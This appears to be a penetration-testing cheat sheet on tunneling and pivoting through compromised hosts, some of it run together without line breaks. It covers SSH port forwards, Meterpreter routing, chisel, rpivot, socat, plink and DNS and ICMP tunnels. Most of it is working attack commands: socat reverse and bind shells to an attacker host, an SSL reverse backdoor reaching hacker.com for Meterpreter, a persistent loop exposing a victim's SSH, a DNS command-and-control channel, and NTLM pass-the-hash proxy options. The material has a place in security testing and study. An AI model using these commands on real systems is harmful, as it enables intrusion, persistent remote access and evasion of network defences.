SSH graphical connection (X)
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -XOpen new Port in SSH Server --> Other port
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywheressh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhereLocal port --> Compromised host (SSH) --> Third_box:Port
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>Local Port --> Compromised host(SSH) --> Wherever
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login:
PermitRootLogin yes
PermitTunnel yes
ssh username@server -w any:any #This wil create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IPEnable forwarding in Server side
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADESet new route on client side
route add -net 10.0.0.0/16 gw 1.1.1.1
You can tunnel via ssh all the traffic to a subnetwork through a host.
Example, forwarding all the traffic going to 10.10.10.0/24
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24Local port --> Compromised host (active session) --> Third_box:Port
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 2552.55.255.0 8)
use auxiliary/server/socks4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #ProxychainsAnother way:
background #meterpreter session
use post/windows/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks4a
run #Proxy port 1080 by defaulthttps://github.com/sensepost/reGeorg
You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsphttps://github.com/jpillora/chisel
Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Chisel is very similar to crowbar though achieves much higher performance.
You can do port forwarding (bind & reverse), create a socks proxy (bind & reverse).
root@kali:/opt# git clone https://github.com/jpillora/chisel.git
Cloning into 'chisel'...
remote: Enumerating objects: 33, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 1151 (delta 7), reused 18 (delta 5), pack-reused 1118
Receiving objects: 100% (1151/1151), 3.31 MiB | 19.03 MiB/s, done.
Resolving deltas: 100% (416/416), done.
root@kali:/opt/chisel# ./chisel --help
Usage: chisel [command] [--help]
Version: 0.0.0-src
Commands:
server - runs chisel in server mode
client - runs chisel in client mode
Read more:
https://github.com/jpillora/chisel
Read more:
- https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html (Blog by Oxdf)
- https://github.com/jpillora/chisel
- https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s (HTB Reddish by ippsec)
- https://0xdf.gitlab.io/2019/01/26/htb-reddish.html (HTB Reddish by 0xdf)
https://github.com/klsecservices/rpivot
Reverse tunnel. The tunnel is started from the victim.
A socks4 proxy is created on 127.0.0.1:1080
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999Pivot through NTLM proxy
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rdvictim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45https://github.com/andrew-d/static-binaries
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sanesocat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>,<rport> &socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreterYou can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/
/bin/sh console
Create certificates in both sides: Client and Server
# Execute this commands in both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pemattacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crtConnect the local SSH port (22) to the 443 port of the attacker host
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victimIt's like a console PuTTY version ( the options are very similar to a ssh client).
As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:
plink.exe -l <Our_valid_username> -pw <valid_password> -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090The previously mentioned tool: Rpivot
OpenVPN can also bypass it, setting these options in the configuration file:
http-proxy <proxy_ip> 8080 <file_with_creds> ntlmIt authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.
Example that forward port 443
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222.
You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.
A reverse proxy create by Microsoft. You can find it here: https://github.com/microsoft/reverse-proxy
Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
Establishes a C&C channel through DNS. It doesn't need root privileges.
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.comPort forwarding with dnscat
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker hostProxychains intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is 4.2.2.2 (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.
https://github.com/hotnops/gtunnel
https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel
Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100